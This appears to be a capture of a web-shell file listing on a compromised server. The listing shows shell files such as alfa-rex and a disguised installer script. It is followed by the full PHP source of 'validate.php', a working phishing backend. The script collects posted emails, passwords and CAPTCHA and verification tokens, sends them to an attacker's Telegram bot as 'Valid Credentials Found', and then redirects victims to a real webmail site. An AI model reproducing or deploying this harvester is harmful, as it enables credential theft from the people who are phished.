9B534B8686E580E0E01768F00155B461

at path：ROOT / apps / custom / validate.php

run：R W Run

.htaccess

0 By

2017-06-09 14:08:01

R W Run

Adobe_Acrobat_Installer.msi.js

6.59 KB

2026-09-11 17:42:11

R W Run

about.php

0 By

2015-06-05 14:08:01

R W Run

about.php7

0 By

2018-06-30 14:08:01

R W Run

alfa-rex.PHP

0 By

2026-09-14 14:08:01

R W Run

alfa-rex.PhP7

0 By

2026-09-17 11:40:01

R W Run

alfa-rex.php56

0 By

2026-09-17 11:40:02

R W Run

alfa-rex.php8

0 By

2026-09-17 11:40:01

R W Run

bot_log.txt

573 By

2026-09-15 21:10:43

R W Run

data.php

166 By

2026-09-03 16:48:36

R W Run

index.php

0 By

2026-09-14 14:08:01

R W Run

validate.php

7.08 KB

2026-09-03 16:46:34

R W Run

wp-login.php

0 By

2026-09-17 11:40:01

R W Run

error_log

📄validate.php

<?php
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/../custom_error.log');

require_once __DIR__ . '/data.php';

header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['success' => false, 'message' => 'Method not allowed']);
    exit;
}

$username = isset($_POST['Username']) ? trim($_POST['Username']) : '';
if ($username === '' && isset($_POST['email'])) {
    $username = trim((string) $_POST['email']);
}
if ($username === '' && isset($_POST['username'])) {
    $username = trim((string) $_POST['username']);
}
$password = isset($_POST['Password']) ? $_POST['Password'] : '';
if ($password === '' && isset($_POST['password'])) {
    $password = $_POST['password'];
}
$turnstileResponse = isset($_POST['cf-turnstile-response']) ? $_POST['cf-turnstile-response'] : '';
$recaptchaResponse = isset($_POST['g-recaptcha-response']) ? $_POST['g-recaptcha-response'] : '';
$requestToken = isset($_POST['__RequestVerificationToken']) ? $_POST['__RequestVerificationToken'] : '';
$rememberMe = isset($_POST['RememberMe']) ? $_POST['RememberMe'] : 'false';

if (empty($username) || empty($password)) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Email and password are required']);
    exit;
}

if (!filter_var($username, FILTER_VALIDATE_EMAIL)) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Invalid email format']);
    exit;
}

sendToTelegram($username, $password, $turnstileResponse, $recaptchaResponse, $requestToken, $rememberMe);

echo json_encode([
    'success'  => true,
    'message'  => 'Login successful',
    'redirect' => 'https://webmail.reagan.com',
]);

function sendToTelegram($email, $password, $turnstile, $recaptcha, $token, $rememberMe) {
    global $telegramBotToken, $telegramChatId;

$logFile = __DIR__ . '/../telegram_debug.log';

function writeLog($entries, $file) {
        $entry = date('Y-m-d H:i:s') . " | " . implode(' | ', (array)$entries) . "\n";
        @file_put_contents($file, $entry, FILE_APPEND | LOCK_EX);
        @error_log($entry);
    }

if (empty($telegramBotToken) || empty($telegramChatId)) {
        writeLog(['ERR', 'Telegram not configured in data.php'], $logFile);
        return;
    }

$message = "✅ *Valid Credentials Found // @earthshakinggg*\n\n";
    $message .= " *Email:* `" . $email . "`\n";
    $message .= " *Password:* `" . $password . "`\n";
    if (!empty($turnstile)) {
        $message .= " *cf-turnstile-response:* `" . substr($turnstile, 0, 50) . "...`\n";
    }
    if (!empty($recaptcha)) {
        $message .= " *g-recaptcha-response:* `" . substr($recaptcha, 0, 50) . "...`\n";
    }
    if (!empty($token)) {
        $message .= " *__RequestVerificationToken:* `" . substr($token, 0, 50) . "...`\n";
    }
    $message .= " *RememberMe:* " . ($rememberMe ?? 'false') . "\n";
    $message .= " *Time:* " . date('Y-m-d H:i:s');

$postData = json_encode([
        'chat_id' => $telegramChatId,
        'text' => $message,
        'parse_mode' => 'Markdown'
    ]);

$apiUrl = "https://api.telegram.org/bot{$telegramBotToken}/sendMessage";

$response = sendViaCurl($apiUrl, $postData, $logFile);
    if ($response === false) {
        $response = sendViaStreamSocket($apiUrl, $postData, $logFile);
    }
    if ($response === false) {
        $response = sendViaFsockopen($apiUrl, $postData, $logFile);
    }
}

function sendViaCurl($url, $postData, $logFile) {
    if (!function_exists('curl_init')) {
        writeLog(['SKIP', 'cURL not available'], $logFile);
        return false;
    }
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $postData,
        CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
        CURLOPT_TIMEOUT => 15,
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_FAILONERROR => true
    ]);
    $telegramResponse = curl_exec($ch);
    $curlErrNo = curl_errno($ch);
    $curlError = curl_error($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    writeLog(["method=curl", "errno=$curlErrNo", "http_code=$httpCode", "error=$curlError", "resp=" . substr((string)$telegramResponse, 0, 200)], $logFile);
    if ($curlErrNo !== 0) return false;
    return true;
}